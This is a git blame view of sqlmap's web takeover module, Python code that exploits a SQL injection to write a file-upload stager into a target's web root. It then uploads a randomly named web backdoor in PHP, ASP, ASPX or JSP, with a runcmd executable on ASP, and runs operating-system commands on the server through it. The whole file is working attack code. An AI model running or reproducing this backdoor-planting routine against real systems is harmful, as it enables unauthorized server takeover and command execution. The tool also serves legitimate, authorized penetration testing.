sqlmap/lib/takeover/web.py

343 lines
14 KiB
Python
Raw Normal View History

#!/usr/bin/env python
"""
2012-07-12 21:38:03 +04:00
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
"""
import codecs
import os
2010-02-25 02:40:56 +03:00
import posixpath
import re
2010-01-28 19:56:00 +03:00
from extra.cloak.cloak import decloak
from lib.core.agent import agent
2012-07-13 13:23:21 +04:00
from lib.core.common import arrayizeValue
from lib.core.common import Backend
from lib.core.common import decloakToMkstemp
2010-01-28 19:50:34 +03:00
from lib.core.common import decloakToNamedTemporaryFile
2010-11-24 14:38:27 +03:00
from lib.core.common import extractRegexResult
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import getSQLSnippet
from lib.core.common import ntToPosixSlashes
2010-12-15 15:50:56 +03:00
from lib.core.common import isTechniqueAvailable
from lib.core.common import isWindowsDriveLetterPath
from lib.core.common import normalizePath
from lib.core.common import posixToNtSlashes
from lib.core.common import randomInt
2010-02-25 13:33:41 +03:00
from lib.core.common import randomStr
from lib.core.common import readInput
2012-07-13 12:35:22 +04:00
from lib.core.common import singleTimeWarnMessage
from lib.core.convert import hexencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import DBMS
from lib.core.enums import OS
2011-02-02 16:34:09 +03:00
from lib.core.enums import PAYLOAD
from lib.request.connect import Connect as Request
class Web:
"""
This class defines web-oriented OS takeover functionalities for
plugins.
"""
def __init__(self):
2011-04-30 17:20:05 +04:00
self.webApi = None
self.webBaseUrl = None
self.webBackdoorUrl = None
self.webBackdoorFilePath = None
2011-04-30 17:20:05 +04:00
self.webStagerUrl = None
self.webStagerFilePath = None
2011-04-30 17:20:05 +04:00
self.webDirectory = None
2010-01-14 17:33:08 +03:00
def webBackdoorRunCmd(self, cmd):
if self.webBackdoorUrl is None:
return
output = None
if not cmd:
cmd = conf.osCmd
2011-04-30 17:20:05 +04:00
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)
if page is not None:
2010-01-14 17:33:08 +03:00
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if output:
2010-01-14 17:33:08 +03:00
output = output.group(1)
return output
def webFileUpload(self, fileToUpload, destFileName, directory):
2010-05-29 12:58:55 +04:00
inputFP = codecs.open(fileToUpload, "rb")
retVal = self.__webFileStreamUpload(inputFP, destFileName, directory)
inputFP.close()
2010-02-04 13:10:41 +03:00
return retVal
2010-01-28 20:07:34 +03:00
2010-01-28 19:50:34 +03:00
def __webFileStreamUpload(self, stream, destFileName, directory):
stream.seek(0) # Rewind
if self.webApi in ("php", "asp", "aspx", "jsp"):
multipartParams = {
"upload": "1",
2010-01-27 16:59:25 +03:00
"file": stream,
"uploadDir": directory,
}
2010-11-24 14:38:27 +03:00
if self.webApi == "aspx":
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
2010-11-24 14:38:27 +03:00
2010-10-18 01:06:52 +04:00
page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
2010-01-28 20:07:34 +03:00
if "File uploaded" not in page:
2011-04-30 17:20:05 +04:00
warnMsg = "unable to upload the backdoor through "
2010-10-18 01:06:52 +04:00
warnMsg += "the file stager on '%s'" % directory
logger.warn(warnMsg)
2010-02-04 13:10:41 +03:00
return False
else:
return True
def __webFileInject(self, fileContent, fileName, directory):
outFile = posixpath.normpath("%s/%s" % (directory, fileName))
uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = ""
2010-12-15 15:50:56 +03:00
if isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
2011-02-02 16:34:09 +03:00
if where == PAYLOAD.WHERE.NEGATIVE:
randInt = randomInt()
query += "OR %d=%d " % (randInt, randInt)
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery))
query = agent.prefixQuery(query)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
2012-07-06 19:18:22 +04:00
2010-02-16 16:24:09 +03:00
return page
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
2010-10-18 01:06:52 +04:00
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
2010-01-28 13:27:47 +03:00
self.checkDbmsOs()
2010-10-18 01:06:52 +04:00
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = ('asp', 'aspx', 'php', 'jsp')
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if Backend.isOs(OS.WINDOWS):
default = "asp"
else:
default = "php"
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
2010-12-14 00:34:35 +03:00
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
2011-04-30 17:20:05 +04:00
kb.docRoot = getDocRoot()
2012-07-13 13:23:21 +04:00
directories = sorted(getDirs())
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
2010-02-25 13:33:41 +03:00
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
2010-02-25 14:40:49 +03:00
originalBackdoorContent = backdoorContent = backdoorStream.read()
2010-10-18 01:06:52 +04:00
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
2011-01-23 23:47:06 +03:00
success = False
2012-07-13 13:23:21 +04:00
for docRoot in arrayizeValue(kb.docRoot):
2011-01-23 23:47:06 +03:00
if success:
break
2012-07-13 12:35:22 +04:00
for directory in directories:
uriPath = ""
2012-07-13 13:23:21 +04:00
if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
2011-01-23 23:47:06 +03:00
continue
2011-01-23 23:47:06 +03:00
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
2011-01-24 00:20:16 +03:00
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
2011-01-24 00:20:16 +03:00
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
2011-01-23 23:47:06 +03:00
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
2011-01-23 23:47:06 +03:00
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
2011-09-23 22:29:45 +04:00
uplPage = uplPage or ""
2011-01-23 23:47:06 +03:00
if "sqlmap file uploader" not in uplPage:
2012-07-13 12:35:22 +04:00
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager via "
infoMsg += "UNION technique"
logger.info(infoMsg)
stagerDecloacked = decloakToMkstemp(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
self.unionWriteFile(stagerDecloacked.name, self.webStagerFilePath, "text")
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
2012-07-21 19:51:01 +04:00
else:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg += "but not dynamically interpreted"
2011-01-23 23:47:06 +03:00
logger.warn(warnMsg)
continue
2011-01-23 23:47:06 +03:00
elif self.webApi == "aspx":
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
2011-04-30 17:20:05 +04:00
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
2011-01-23 23:47:06 +03:00
logger.info(infoMsg)
2011-01-23 23:47:06 +03:00
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
2011-01-23 23:47:06 +03:00
if match:
backdoorDirectory = match.group(1)
else:
continue
2010-02-25 17:06:44 +03:00
2011-01-23 23:47:06 +03:00
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
2010-02-25 17:06:44 +03:00
2011-01-23 23:47:06 +03:00
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
2011-01-23 23:47:06 +03:00
self.webDirectory = backdoorDirectory
else:
continue
2010-02-25 17:06:44 +03:00
else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
2011-04-30 17:20:05 +04:00
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
2011-01-23 23:47:06 +03:00
logger.warn(warnMsg)
2010-02-25 17:06:44 +03:00
2011-04-30 17:20:05 +04:00
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
2010-02-25 17:06:44 +03:00
2011-01-23 23:47:06 +03:00
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, localPath)
else:
continue
2010-02-25 17:06:44 +03:00
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
2011-01-23 23:47:06 +03:00
self.webDirectory = localPath
2012-07-13 16:25:39 +04:00
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
2012-07-21 19:51:01 +04:00
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
2010-02-25 17:06:44 +03:00
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
2011-01-23 23:47:06 +03:00
logger.info(infoMsg)
2011-01-23 23:47:06 +03:00
success = True
2011-01-23 23:47:06 +03:00
break